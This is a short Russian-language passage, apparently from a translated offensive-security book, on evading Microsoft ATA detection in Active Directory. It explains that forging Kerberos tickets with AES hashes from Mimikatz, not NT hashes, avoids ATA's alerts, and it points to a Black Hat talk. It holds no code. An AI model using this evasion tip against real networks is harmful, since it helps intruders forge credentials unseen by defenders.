[Замечание]В ATA

В данном сценарии мы не пытались победить ATA, пытаясь непосредственно обойти его модуль обнаружения отличительных признаков. Мы просто плыли по течению и уделяли пристальное внимание испускаемым каждой из наших команд пакетам чтобы максимально слиться с имеющимся обменом. Иной подход состоит в перепроектировании наших инструментов во избежание срабатывания модуля отличительных признаков ATA. Например, при подделке билетов Kerberos конкретная версия ATA отмечает лишь тот факт, что мы запросили билет Kerberos при помощи хэша NT. Если мы отправим тот же запрос, воспользовавшись хэшами AES-256 и AES-128 (также полученными Mimkatz) мы не получим ни единого писка. Можно долго обсуждать эти небольшие хитрости для победы над ATA на их собственном поле. Если вам интересна данная тема, ознакомьтесь с потрясающим докладом "Evading Microsoft ATA for Active Directory Domination" Нихила Миттала на Black Hat 2017.

Ресурсы